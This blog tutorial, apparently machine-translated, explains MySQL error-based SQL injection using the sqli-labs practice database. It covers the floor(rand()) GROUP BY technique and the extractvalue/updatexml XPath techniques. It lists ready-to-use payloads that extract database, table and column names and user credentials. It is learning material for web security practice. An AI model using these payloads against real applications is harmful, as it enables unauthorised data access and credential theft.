Detailed explanation of error injection

1, Detailed explanation of error injection

Recently, I learned about SQL error injection. This article is about some personal understanding of error injection. If there are errors, I hope to point out them
This article uses sqli labs database as an example

1. Ten MySQL error reporting injections:

There are many error injection methods, including floor(), extractvalue(), and updatexml(). This article mainly analyzes these three methods. For others, please refer to the article: Ten MySQL error reporting injections


2.1. payload analysis

First paste a common payload and then analyze it (sqli labs less-5)

' union select 1,count(*),concat(floor(rand(0)*2),database())x from `users` group by x %23

First of all, this payload is different from many on the Internet. When consulting relevant blogs on the Internet, I found that most payloads write like this

' union select 1,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from `users` group by x)a %23

This is to take the select with an error as a sub query, and there is a select 1,2,3 from sub query outside (1,2,3 is to keep consistent with the number of fields in front of the union, and an extra 1 is added to the payload above, which is the same)

The payload here may take into account the field restrictions specified by select in MySQL Group By. The fields specified in select must either be included after the Group By statement as the basis for grouping; Or it will be included in the aggregate function. For example, the following example

There is no password in the field after group by, so password cannot be written after select

But just write a constant

Now back to the first payload explanation, let's first understand the two functions

  1. floor(): round down

  2. rand() :

    • Without seed value, a random number of [0,1) is generated

      The results are different every time

    • If seed is specified, a repeatable sequence of random numbers is returned.

      When seed=0, random numbers are generated in this order every time

Then the purpose of floor(rand(0)*2) should be clear, in order to generate 0 and 1 numbers in a fixed order

What is the use of generating these 0 1 numbers? Next, it is related to MySQL group by

First, paste the key part of the payload, that is, the select statement with error, into sqlyog and execute it. It is found that the error message is "Duplicate entry '1security' for key '< group_key >'", that is, the primary key is repeated. The primary key must be non empty and cannot be repeated.

The principle of group by key is to read each row of data cyclically and save the results in the temporary table. When reading the key of each row, if the key exists in the temporary table, the data of the temporary table will not be updated in the temporary table; if the key is not in the temporary table, the data of the row in which the key is located will be inserted in the temporary table.

The primary key of this temporary table is the field X after group by. X is only the alias of concat(floor(rand(0)*2),database()), so we can basically understand the reason for the error. The main reason is that the primary key X of the temporary table is repeated. Here, group by needs to perform two operations on X, that is, call rand(0) twice , the first time is to compare the field values after group by in the temporary table. First, get the values after group by, and then use concat(floor(rand(0)*2),database()) Calculate the first x value; the second time is to use the value of the field after group by to find in the temporary table. If it exists in the table, there is no need to change the temporary table. If it does not exist in the temporary table, it needs to be inserted into the temporary table. Here, the second operation will be performed during insertion, because rand() The function has a certain randomness, so the result of the second operation may be inconsistent with the result of the first operation, but the result of this operation may already exist in the temporary table. Then the insertion at this time will inevitably lead to the repetition of the primary key and lead to errors.

Why is there an aggregation function count(*)?

If there is no aggregation function count(*), no error is reported after testing

As for the reason, I have also found a lot about the implementation principle of group by, but I don't think it can be well explained, so here is another unresolved problem. (the above principle of group by comes from the reference article, and whether it is correct needs to be verified.)

Take the above payload concat(floor(rand(0)*2),database()) as an example. The first five numbers generated by floor(rand(0)*2) must be 01101, and then splice the database() , this is a fixed value. Don't worry about it first. Next, simulate the group by process. When traversing the first row of the users table, first calculate an x=0security, check the temporary table. If it doesn't exist, calculate x again, and then insert x=1security; when traversing the second row, calculate an x=1security, which already exists in the temporary table. Continue traversing; when traversing the third row, calculate an x=0security y. If it is found that there is no in the table, calculate x again and insert x=1security. Because a 1security has been inserted just now, the primary key is duplicated. Then output 1security as an error message, and the attacker can get the relevant information.

2.2 example of Less-5


#Explosion database name: (database() or (select database())
' union select 1,count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x%23

#Explosive table name: (some blogs on the Internet say that group_concat splicing cannot be used, but it can be used in sqli labs less-5 test. If it cannot be used, limit can be used)
' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema="security"))x from information_schema.tables group by x%23

#Explosion list name: (there are two judgment conditions after where: database name and table name to avoid confusion of queried data due to the same table name in different databases)
' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"))x from information_schema.tables group by x%23

#Explosion data:
' union select 1,count(*),concat(floor(rand(0)*2),(select concat(username,0x7e,password) from `users` limit 0,1))x from information_schema.tables group by x%23

The payload with the last burst data cannot use group_concat to get the SQL statement to sqlyog for execution, and there is no error. Normally, two types of spliced data are returned. Normally, the execution times of rand(0) should depend on the number of rows of the last from table (information_schema.tables)

As for why, I haven't understood it for a long time. Some students who know can help explain it. Thank you very much!

Warehouse Name:

Table name:

List name:

Explosion data:

3,extractvalue() ,updatexml()

Starting from mysql5.1.5, two XML query and modification functions are provided, extractvalue and updatexml. Extractvalue is responsible for querying node content in XML document according to xpath syntax, and updatexml is responsible for modifying the queried content:

mysql> select extractvalue(1,'/a/b');
| extractvalue(1,'/a/b') |
|                        |
1 row in set (0.01 sec)

Their second parameter must be a string conforming to xpath syntax. If it does not meet the requirements, an error will be reported, and the query result will be placed in the error message:

mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'


#Warehouse Name:
' and(select extractvalue(1,concat(0x7e,(select database()))))

#Table name:
' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

#List name:
' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

#Explosion data:
' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

#Warehouse Name:
' and(select updatexml(1,concat(0x7e,(select database())),0x7e))

#Table name:
' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

#List name:
' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

#Explosion data:
' and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
  • ~It can be replaced with #, $and other characters that do not meet the xpath format
  • The maximum length of the string that extractvalue() can query is 32. If we want more than 32 results, we need to use the substring() function to intercept or page limit, and view up to 32 bits at a time

Reference article: (this article is well written)

Tags: Web Security penetration test SQL injection

Posted by billcoker on Sun, 24 Oct 2021 12:06:31 +0530